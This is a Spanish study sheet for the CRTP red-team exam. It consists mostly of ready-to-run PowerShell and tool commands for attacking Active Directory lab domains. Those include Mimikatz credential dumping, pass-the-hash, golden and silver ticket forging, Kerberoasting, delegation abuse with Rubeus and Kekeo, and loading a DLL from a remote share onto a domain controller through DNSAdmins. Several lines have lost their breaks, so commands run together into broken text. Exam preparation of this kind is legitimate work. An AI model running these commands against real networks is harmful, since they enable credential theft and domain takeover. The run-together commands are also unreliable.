Repaso CRTP
Conceptos, técnicas y comandos que se recomienda entender antes de presentarse al examen
1. Enumeración
Importar script
. .\Powerview.ps1Import-Module ActiveDirectory.ps1
. .\ActiveDirectory.ps1Obtener el dominio
Get-NetDomain
Get-NetDomain -Domain powershell.localGet-ADDomain
Get-ADDomain -Identity powershell.local
(Get-ADDomain).DomainSID.ValueObtener los Controladores de Dominio (DC)
Get-NetDomainController
Get-NetDomainController -Domain powershell.localGet-ADDomainController
Get-ADDomainController -Discover -DomainName powershell.localObtener usuarios de un dominio
Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /privGet-ADUser -Filter * -Properties *
Get-ADUser -Server ps-dc.powershell.local
Get-ADUser -Identity labuserObtejer listado de propiedades de los usuarios del Dominio
Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}Obtener los grupos de un dominio
Get-NetGroup Get-NetGroup *Get-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select NameGet-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select Nameadmin*
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter 'Name -like "*admin*"' | select NameObtener los miembros del grupo "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins" -RecurseGet-ADGroupMember -Identity "Domain Admins" -RecursiveObtener los grupos a los que pertenece el usuario "labuser"
Get-NetGroup –UserName "labuser"Get-ADPrincipalGroupMembership -Identity labuser Obtener todos los equipos de un dominio
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullDataGet-ADComputer -Filter * | select Name
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' Get-ADComputer -Filter 'OperatingSystem -like "Server 2016"' -
Get-ADComputer -Filter * Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *Obtener todos los grupos de un dominio
Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *Obtener todos los grupos locales de una máquina
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -RecurseObtener los usuarios autenticados en una máquina
Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>Obtener el último usuario autenticado en una máquina
Get-LastLoggedOn –ComputerName <servername>Obtener recursos compartidos en el dominio
Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServerObtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccessObtener las sesiones de una máquina
Get-NetSession -ComputerName ops-dcObtener máquinas donde el Domain Admin se ha autenticado
Invoke-UserHunter –CheckAccess
Invoke-UserHunter -StealthObtener las relaciones de confianza del dominio
Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.localGet-ADTrust -Filter *
Get-ADTrust –Identity redps.offensiveps.powershell.localObtener la información de los forests
Get-NetForest
Get-NetForest –Forest defensiveps.localGet-ADForest
Get-ADForest –Identity defensiveps.localObtener los dominios de los forests
Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local(Get-ADForest).DomainsObtener las relaciones de confianza en los forests
Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.localGet-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'GPOs (Group Policy Object)
Obtener las GPOs del dominio
Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)Obtener equipos donde un usuario es miembro de un grupo
Find-GPOLocation -UserName student1 -VerboseOU (Organizational Unit)
Obtener OUs de un dominio
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *Obtener GPO que aplica a una OU
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081ACLs (Access Control List)
Obtener ACL de un usuario
Get-ObjectAcl -SamAccountName student1 –ResolveGUIDsObtener ACLs con un path específico
Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"BloodHound
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC2. Escalada de Privilegios Local
Obtener los servicios que el usuario actual puede modificar
Get-ModifiableService -VerboseEjecutar AllChecks
Invoke-AllChecksHerramientas para enumerar información de la máquina que permita eleva privilegios
PowerUp
Invoke-AllChecksBeRoot
.\\beRoot.exePrivesc
Invoke-PrivEsc
3. Movimiento Lateral
Powershell Remoting
Cmdlets útiles
New-PSSession
Enter-PSSession
Invoke-CommandEjecutar comandos/scripts en equipos
Usa –Credential para indicar el username/password.
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)Ejecutar scripts de ficheros
Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)Crear sesiones remotas con "estado" (Stateful)
$Sess = New-PSSession –Computername Server1 -Creds
Enter-PSSession $sess
winrs -r:machine powershellMimikatz & tokens
Mostrar las credenciales en una máquina local
Invoke-Mimikatz -DumpCredsMostrar los certificados de una máquina local
Invoke-Mimikatz –DumpCertsMostrar las credenciales de máquinas remotas
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")Ejecutar una consola de powershell suplantando al usuario Administrator.
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'Manipulación de tokens
Listar todos los tokens de una máquina
Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -EnumerateComenzar un proceso con el token de un usuario
Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"4. Persistencia
Silver Ticket
Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'Golden Ticket
Los golden ticket están firmados con el hash del usuario krbtgt.
Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dcCrear un golden ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'5. Escalada de Privilegios
Kerberoast
Enumerar usuarios
Get-NetUser –SPNGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalNameSolicitar un TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"Comprobar si se ha creado
klistExportar todos los tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'Crackear la contraseña con tgsrepcrack, john o hashcat
AS-REP Roasting
Enumerar usuarios
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthGet-ASREPHash -UserName VPN1user -VerboseEnumerar los usuarios con la pre-autenticación deshabilitada
Invoke-ASREPRoast -VerboseSPN
Enumerar usuarios (PowerView_dev)
Get-DomainUser -Identity supportuser | select serviceprincipalnameGet-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalNameConfigurar SPN para un usuario
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}Solicitar un TGS
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"Comprobar si se ha creado el TGS
klist.exeExportar los tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'Crackear la contraseña con tgsrepcrack, john o hashcat
Delegations
Unconstrained
Es posible solicitar cualquier servicio en cualquier máquina del dominio
Discover domain computers which have unconstrained delegation enabled using PowerView:
Get-NetComputer -UnConstrainedinRun following command on it to check if any DA token is available:
Invoke-Mimikatz –Command '"sekurlsa::tickets"'Constrained
Es posible solicitar servicios específicos en máquinas específicas del dominio
Enumerar usuarios
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuthA través de Kekeo se solicita un TGT
kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156fA través de kekeo se usa el TGT para crear un TGS con el servicio CIFS
Invoke-Mimikatz tgs::s4u /tgt:[email protected]_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCALInyecta el ticket con mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'También es posible crear el TGS con Rubeus
.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbiSe comprueba que el servicio se ha validado correctamente
ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$DNSAdmin
Enumerar los miembros del grupo DNSAdmin
Get-NetGroupMember -GroupName "DNSAdmins"Get-ADGroupMember -Identity DNSAdminsConfigurar la DLL usando dnscmd.exe (necesita RSAT DNS)
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dllUsar el módulo de DNS (necesita RSAT DNS)
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -VerboseReiniciar el servicio DNS
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns6. MSSQL Servers
Usamos PowerUpSQL
Para enumerar
Get-SQLInstanceDomainComprobar accesibilidad
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -VerboseObtener información
Get-SQLInstanceDomain | Get-SQLServerInfo -VerboseDatabase Links
Buscar servidores
Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -VerboseLa función Openquery() se puede usar para ejecutar peticiones
select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')Ejecutar comandos a través de xp_cmdshell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')Last updated
Was this helpful?